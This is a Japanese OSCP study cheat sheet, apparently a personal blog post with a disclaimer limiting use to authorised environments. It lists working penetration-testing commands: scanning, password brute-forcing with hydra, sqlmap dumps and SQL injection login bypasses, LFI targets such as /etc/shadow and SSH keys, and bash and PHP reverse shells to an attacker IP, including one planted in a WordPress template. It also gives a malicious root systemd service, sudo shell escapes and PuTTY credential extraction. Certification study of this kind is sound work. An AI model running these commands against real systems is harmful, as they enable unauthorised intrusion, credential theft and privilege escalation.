🙄
OSCP学習メモ(チートシート)
MY CHEAT SHEET(作成中)
本記事は社会秩序に反する行為を推奨することを目的としたものではありません。
本記事は自分自身のペネトレーション勉強のためのものです。
自身の所有する環境、または、許可された環境以外への攻撃の試行は、「不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)」に違反する可能性があることを予めご留意ください。
情報収集
nmap
オプションの説明
- -sC:スクリプトスキャン
- -sV:バージョン検出
- -P0:pingしないで実行
- -script smb-vuln* -p 139,445 ・・・SMBをスクリプトスキャン
- -T4:高速スキャン、0は低速
- -A:強化スキャン(-sC、-sV、-O)
- -O:OS検出
- -sU:UDPスキャン、通常のnmapで何も見つけられないときは実行
使用例
- nmap -T4 --script vuln [IP]・・・脆弱性のスキャン
- nmap --script smb-vuln* -p135,445 [IP]・・・SMBの脆弱性スキャン
- nmap [IP] -p- | tee nmap_output.txt
- awk '/^[0-9]+\/tcp/ && /open/ {printf "%s,", $1}' nmap_output.txt | sed 's/\/tcp//g' | sed 's/,$//'
- nmap -sC -sV -A -O -p[上記で取得したポート] [IP]
enum4linux
オプションの説明
- -a:共有フォルダなどの詳細
- -o:OS情報
- -s:共有情報
crackmapexec
使用例
- crackmapexec smb [IP] -u username -p password
- crackmapexec smb [IP] -u users.txt -p password
- crackmapexec ldap [IP]
- crackmapexec ssh [IP]
- crackmapexec rdp [IP]
- crackmapexec smb [IP] -u [ユーザ名] -p [パスワード] --sam
※impacket-wmiexec [ユーザ名]@[IP] -hashes [SAMから取得したHASH]
snmp
使用例
- snmp-check [IP]
- snmpwalk -t 10 -v 1 -c [コミュニティ名] [IP] > [出力ファイル名]
RPC
使用例
- rpcclient -U "" [IP]・・・RPCの接続試み、「-U ""」はユーザ名指定なし
mountd(TCP/2049)
使用例
- showmount -e [IP]
- showmount -d [IP]・・・マウントされたディレクトリを表示
その後のマウント方法
- sudo mount [IP]:/path/to/target /local/directory
AD環境のユーザ名列挙
使用例
- ./windapsearch.py -d [URL] --dc-ip [IP] -U
- impacket-GetADUsers [URL] -dc-ip [IP] -debug
LDAP
使用例
- ldapsearch -H [URL:ldap://~] -x -s base namingcontexts
dirb
使用例
- dirb [URL] [ワードリストのパス(*1)] -X .sh等の列挙したい拡張子を,区切りで指定
- (*1)/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt等
fuff
使用例
- ffuf -w [ワードリストのパス] -u [URL、ディレクトリ列挙の場合は「/FUZZ」等追加]
- ffuf -w [ワードリストのパス] -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u [URL] -mr [エラーメッセージ("username already exists")]・・・ペイロードの例、FUZZ部分が調査対象、-dはボディ部分
gobuster
使用例
- gobuster dir --url [URL] -w [ワードリストのパス]
- gobuster dir -u [URL] -w [ワードリストのパス] -k -t 40・・・-tはスレッド、-kは証明書エラーを無視
- gobuster vhost -u [URL] -w [ワードリストのパス] -t 150
- gobuster dir -k -u [URL] -w [ワードリストのパス] -s '200,204,301,302,307,403,500' -e -x txt -t 30
- gobuster dir -t 50 -u [URL] -w [ワードリストのパス] -f -x php,txt,py,html,png,jpg -o [出力ファイル名] -k
- gobuster vhost -u [URL] --domain [DOMAIN] --append-domain -w [ワードリストパス]
オプションの説明
- dir...ディレクトリ総当たり
- -t...スレッド数
- -u...URL指定
- -w...wordlistの指定
- -o...ファイル出力
- -f...ディレクトリの末尾に「/」を追加
- -x...拡張子指定(IISなら-x asp,aspx,txt等が有効)
- -k...SSLをスキップ
- -s...ステータスコードの指定
dirsearch
使用例
- dirsearch -u [URL]
hydra
使用例
- hydra -l [USERNAME] -P [パスワードリスト] [IP] -s [ポート] http-post-form "[URL]:[メッセージボディ]:F=[ログイン失敗時のメッセージ]" -V -t 64 -I
- hydra -l [USERNAME] -P [パスワードリスト] [IP] -V http-form-post "[URL]:[メッセージボディ]:S=Location"・・・F=でうまくいかないとき
※Burp等でリクエストをキャッチしてから実行 - hydra -P [ワードリスト] -v [IP] [プロトコル]
- hydra -v -V -u -L [ユーザ名リスト] -P [パスワードリスト] -t 1 -u <ip> <protocol>
- hydra -t 1 -V -f -l [ユーザ名] -P [パスワードリスト] rdp://[IP]
ワードリストの作成例
cewl
- cewl -d 3 -m 7 -w [出力ファイル名] [URL]
オプションの説明
- d 3: 深さ3までのリンクを追跡して単語を収集する指定
- m 7: 最低7文字以上の単語を収集する指定
LFIを利用して読み取りを狙うファイル:
Linux
- /etc/passwd
- /etc/shadow
- /etc/issue
- /etc/group
- /etc/hostname
- /etc/ssh/ssh_config
- /etc/ssh/sshd_config
- /root/.ssh/id_rsa
- /root/.ssh/authorized_keys
- /home/<username>/.ssh/authorized_keys
- /home/<username>/.ssh/id_rsa
favicon
上記のサイトでファビコンのハッシュ値を検索することでWebのフレームワークがわかる場合がある。
sqlmap
使用例
- sqlmap -r [データ(*1)] --dbms=mysql --dump
(*1)HTTPリクエストを含むファイル - sqlmap -u [URL] -D [DATABASE] --tables
- sqlmap -u [URL] -D [DATABASE] -T [TABLE] --columns
- sqlmap -u [URL] -D [DATABASE] -T [TABLE] -C fullname,is_admin,password,email --dum
- sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
- sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db -T accounts --dum
- sqlmap -r [データ(*1)] -p [パラメータ] --level 5 --risk 3 --batch --threads 10 --dbs
オプションの説明
-
-
--dbms=mysql
:データベースの種類を指定
-
-
--dump
:データベースの内容をダンプ - -r:リクエストのテキストファイル
- -u:対象URL指定
- --batch:バッチモードで実行、対話的なプロンプトが表示されず自動的に検証が行われる。
- -D:データベース名指定
- -T:指定したデータベース内のテーブル名を指定
- --level:テストのレベル、5が最大で一番詳細
- --risk:リスクの高いテストも実施、3が最大
- --dbs:データベース一覧を取得
- -p:インジェクションをテストするパラメータ指定
SQLインジェクション(認証)
試行例
- admin' --
- admin' #
- admin'/*
- ' or 1=1--
- ' or 1=1#
- ' or 1=1/*
- ') or '1'='1--
- ') or ('1'='1--
SMB経由の攻撃
- smbclient //[IP]/[フォルダ名]
- smbclient \\[IP]\フォルダ名
- smbclient -L IP
- smbmap -H IP
- crackmapexec smb [IP] --shares(共有フォルダの列挙)
SMB接続の例
- mkdir share
- impacket-smbserver public share -smb2support -username [USERNAME] -password PASSWORD
- C:> copy [リモートのファイルパス(C:\Users~)] \[LOCALIP]\public\使い方
- crackmapexec smb [ホスト] -u [ユーザ名] -p '[パスワード]'
まるっと取得する
- mask ""
- recurse ON
- prompt OFF
- mget *
その他Web調査
- nikto -h [URL]
- curl -v [URL]
- curl -I [URL]・・・ヘッダーにヒントがないか、ソースコードに何かヒントがないか調べる。
- robots.txt,sitemap.xmlの確認
- CMSの特定
- デフォルトパスワードの入力(パスワード推測)
アクセスの取得に向けて
hashcat
HASHの形式特定
- hash-identifierでhash形式の特定
- https://hashcat.net/wiki/doku.php?id=example_hashes
使い方
- hashcat -m [hash形式] -a [タイプ] [hash値のファイル] [ワードリスト]
オプション
- -m:hash値の形式(MD5:0、NTLM:1000)
- -a:攻撃タイプの指定、「0」なら単語リストを使用したストレート攻撃
Evil-WinRM
使用例
- evil-winrm -i ホスト -u ユーザ名 -p パスワード
オプションの説明
- -H:hash値で接続
- WinRMサービスが有効(通常は5985/tcpで応答)かつ、資格情報とアクセス許可がある場合に使用
msf
msfconsole
- set payload windows/x64/shell/reverse_tcp
- ctrl+zでバックグラウンド実行
- そのあとで権限昇格
- sessions -lで一覧表示
- sessions -i 番号で復帰
- upload /home/kali/thm/PowerUp.ps1
- load powershell
- powershell_shell
msfconsoleで追加モジュール使用など
- meterpreter のチェック
- msf5 exploit(multi/handler) > sessions -i 1
- meterpreter > load stdapi
- meterpreter > sysinfo
- アーキテクチャが違うなどある場合は以下のような方法で移行
- meterpreter > ps
- meterpreter > migrate 1148
- suggester を使う
- meterpreter > background
- msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
- msf5 post(multi/recon/local_exploit_suggester) > set session 1
- msf5 post(multi/recon/local_exploit_suggester) > run
msfvenom
- msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f exe -o [ファイル名]
Windowsに対する操作
- load powershell → powershell_shell:Powershell起動
- ctrl + zでバックグランド、channelコマンドで復帰
- shell:CMD起動、exitで抜ける
- powershell_shell
- shell
- exit
sshポートフォワーディング
- ssh -L 10000:localhost:10000 [USERNAME]@[IP]
一つ目の「-L 10000」にアクセスすると、SSHで接続しているマシンを踏み台にして「localhost:10000」にアクセスする
wordpress
- WordPress 管理パネルにログインし、左側の[Appearance] > [Editor]と選択。
- Templateをリバースシェルコードと置き換え。
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'");
?>
権限昇格にむけて
情報収集
Linux
- hostname
- uname -a
- uname -r
- /proc/version
- /etc/issue
- ps aux
- ps -A
- env
- sudo -l
- id
- cat /etc/passwd | cut -d ":" -f 1
- history
- ifconfig
- netstat
- ls -l /etc/shadow
- sudo -l
- crontab -l
Windows
- whoami /priv
- 「ProgramFiles」配下の確認
- (Get-WmiObject Win32_ComputerSystem).PartOfDomain・・・ドメイン参加か?
SGID、SUIDの探索
- find / ( -perm -4000 -or -perm -2000 ) -type f -exec ls -la {} ;
- ls -al ~/;ls -al /home/* / /home/*/.bash_histroy
Powershell実行履歴
- type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
- Get-Command | Where-Object -Property CommandType -eq Cmdlet | measure
- Get-FileHash -Path "C:\Program Files\interesting-file.txt.txt" -Algorithm MD5
PowerView
- . ./PowerView.ps1
pspy
使用例
- ./pspy64 -pf -i 1000
スクリプトがroot権限で実行可能な場合
- Perlの場合:sudo /usr/bin/perl -e 'exec "/bin/bash";'
- Pythonの場合:sudo python3 -c 'import os; os.system("/bin/bash")'
- AWKの場合:sudo awk 'BEGIN {system("/bin/bash")}'
- Rubyの場合:exec "/bin/bash -i"
PATHハイジャック
- PATHハイジャック(可能な限り絶対パスを使用してプログラムを実行することが推奨)
- export PATH=/home/XXX:$PATH(自身の実行したいプログラムをPATHの先頭に置く)
PuTTYから認証情報を取得する
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
SUID(systemctl)
1.ペイロードを準備する:root.service
2.書き込み可能なファイル/ディレクトリを見つける。
- find / -type f -maxdepth 2 -writable
- find / -perm -u=s -type f 2>/dev/null
- find / -type d -maxdepth 2 -writable
- find / -writable -type d 2>/dev/null: 誰でも書き込み可能なフォルダーを検索
- find / -perm -222 -type d 2>/dev/null: 誰でも書き込み可能なフォルダーを検索
- find / -perm -o w -type d 2>/dev/null: 誰でも書き込み可能なフォルダーを検索
3.ペイロードを転送または、vi を使用してそこにファイルを書き込む
4.nc待ち受け
5.ペイロードを実行- /bin/systemctl enable /tmp/root.service
- /bin/systemctl start root
[Unit]
Description=roooooooooot
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'
[Install]
WantedBy=multi-user.target
その他
Linux関連
- cat /etc/passwd | grep bash・・・bashのあるユーザを確認
- tcpdump -ni [インタフェース名] [プロトコル]
- bash -i >& /dev/tcp/[IPアドレス]/[ポート] 0>&1
- busybox nc [IP] [ポート] -e bash
PowerShell操作系
- powershell -c Invoke-WebRequest -Uri [URL] -OutFile [ファイル名]
pngファイル作成
- convert -size 800x600 xc:black [ファイル名]
exeファイルに対して
- strings [exeファイル]
Python
ファイル授受関係
- python -m http.server 8000
- python3 -m uploadserver・・・ファイルのアップロードは/uploadに行う。
- python3 -c "import requests;requests.post("[URL]/upload",files={"files":open("[ファイルパス]","rb")})"
- curl -X POST [URL]/upload -H -F 'files=@[ファイル名]'
シェルのアップグレード
- python3 -c 'import pty;pty.spawn("/bin/bash")'
仮想環境操作関係
- source ~/mypy/bin/activate
- pip3 install openai
- deactivate
自身がコンテナにいるか確認する方法
- cat /proc/1/cgroup
find系
Windows
- where /r c:\ [ファイル名]
- dir 探したいファイル・フォルダ名 /s /p
- dir /aで隠しファイル含め表示
Linux
- locate *.txt
- find / -name *.txt 2>/dev/null
curl
- curl -OL ファイルのURL
ftp操作
- open
- passive
- bin(通常ASCIIモードだが、これはテキスト専用、エラーが出る)
SSHの接続作成
- ssh-keygen
- chmod 600 id_rsa
- echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/a+B3uPVXXxqv988r+oYNtaAeBuuAnDU+kOl2Y8MMl kali@kali" > .ssh/authorized_keys
- chmod -R 600 .ssh/
- ssh -i id_rsa matt@10.10.11.136
base64
- echo -n “encoded text” | base64 -d
git clone
KaliからのRDP接続
- xfreerdp /u:[USERNAME] /p:[PASSWORD] /f +fonts +clipboard /v:[IP]
- /tls-seclevel:0 /timeout:80000(TLS系のエラーが出た時)
- /size:640x480(画面のサイズ)
IMAP接続
- a login [ユーザ名] [パスワード]
- a list "" "*"
- a select INBOX
- a fetch body[]
POP接続
- USER [ユーザー名]
- PASS [パスワード]
- LIST
オンラインツール
- https://crackstation.net/
- https://www.tunnelsup.com/hash-analyzer/
- https://hashtoolkit.com/
- https://www.boxentriq.com/code-breaking/cipher-identifier
参考サイト
- https://web.archive.org/web/20200901140719/
- http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- https://book.hacktricks.xyz/v/jp/welcome/readme
- https://gtfobins.github.io/
- https://book.hacktricks.xyz/
- https://book.hacktricks.xyz/v/jp/windows-hardening/active-directory-methodology
- https://wadcoms.github.io/
- https://github.com/pentestmonkey
- https://www.revshells.com/
Discussion